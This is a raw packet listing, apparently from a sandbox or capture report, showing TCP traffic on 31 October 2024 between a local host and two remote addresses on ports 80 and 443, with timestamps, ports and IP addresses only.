Oct 31, 2024 20:52:16.370338917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.370338917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.370373964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.370373964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.375350952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.375361919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.375372887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.375435114 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.375474930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.379369974 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.379548073 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.379611015 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.379620075 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.379828930 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.379890919 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.380017042 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.380029917 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.380042076 CET	49739	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:16.380045891 CET	443	49739	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:16.534198999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534297943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534488916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534501076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534528971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534531116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534545898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534555912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534559011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534569025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534578085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534604073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534615040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534615040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534626007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534638882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534640074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534651995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534665108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.534667015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534694910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.534714937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.536855936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.536874056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.536886930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.536910057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.536930084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.537014961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.537026882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.537056923 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.537086010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.537844896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.537857056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.537868023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.537906885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.537906885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.538038969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.538050890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.538079977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.540414095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.540458918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.695839882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695904970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695915937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695926905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695936918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.695940018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695950985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695964098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.695986032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696007013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696013927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696024895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696044922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696053028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696057081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696075916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696094036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696696043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696722984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696736097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696737051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696762085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696789980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696844101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696861982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696883917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696885109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696897030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.696907043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696924925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.696940899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697303057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697314978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697325945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697345018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697361946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697365999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697386026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697397947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697400093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697411060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697419882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697429895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697441101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697458982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697474003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697877884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697918892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697922945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697935104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.697961092 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697973013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.697999954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698012114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698021889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698033094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698038101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.698055983 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.698081970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.698101044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698112011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698122978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698139906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.698158026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.698924065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698935986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698947906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698960066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.698970079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.698999882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.699053049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699064970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699084997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699086905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.699101925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699110985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.699114084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699126959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699130058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.699150085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.699177980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.699738026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.699776888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.858576059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858589888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858608007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858620882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858632088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858634949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.858665943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.858700991 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.858899117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858908892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858920097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.858947039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.858972073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859024048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859034061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859045029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859057903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859061956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859082937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859083891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859096050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859105110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859117031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859119892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859128952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859139919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859153986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859184027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859186888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859227896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859257936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859270096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859302044 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859529018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859540939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859549999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859575033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859591007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859599113 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859602928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859613895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859627008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859638929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859646082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859668016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859695911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859905958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859916925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859930038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859949112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859958887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859967947 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.859970093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859982014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859992981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.859994888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860025883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860053062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860059023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860068083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860100985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860428095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860439062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860449076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860472918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860483885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860543966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860564947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860583067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860584974 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860595942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860599995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860608101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860622883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860647917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860703945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860714912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860726118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860744953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860744953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860757113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860769987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860774994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860807896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860842943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860855103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860866070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860879898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.860887051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860908031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.860933065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861524105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861536980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861550093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861560106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861576080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861594915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861643076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861654997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861665010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861679077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861686945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861721992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861725092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861737013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861747980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.861764908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.861794949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863563061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863574028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863586903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863614082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863646030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863711119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863718033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863720894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863728046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863739014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863751888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863764048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863771915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863794088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863811970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863823891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863835096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863852024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863853931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863857985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.863864899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863888025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.863917112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864397049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864408970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864420891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864449978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864466906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864474058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864486933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864497900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864511013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864522934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864557028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864558935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864568949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864579916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864598989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864628077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.864984989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.864996910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.865015984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.865032911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.865048885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.865055084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:16.865061998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:16.865103006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.032980919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033019066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033032894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033049107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033081055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033133984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033148050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033159018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033170938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033174992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033205986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033278942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033289909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033302069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033318996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033322096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033335924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033346891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033346891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033359051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033375978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033407927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033435106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033446074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033466101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033477068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033479929 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033488035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033499002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033505917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033510923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033523083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033534050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033535957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033545017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033556938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033569098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033574104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033581972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033595085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033612967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033642054 CET	49740	80	192.168.2.4	185.215.113.16
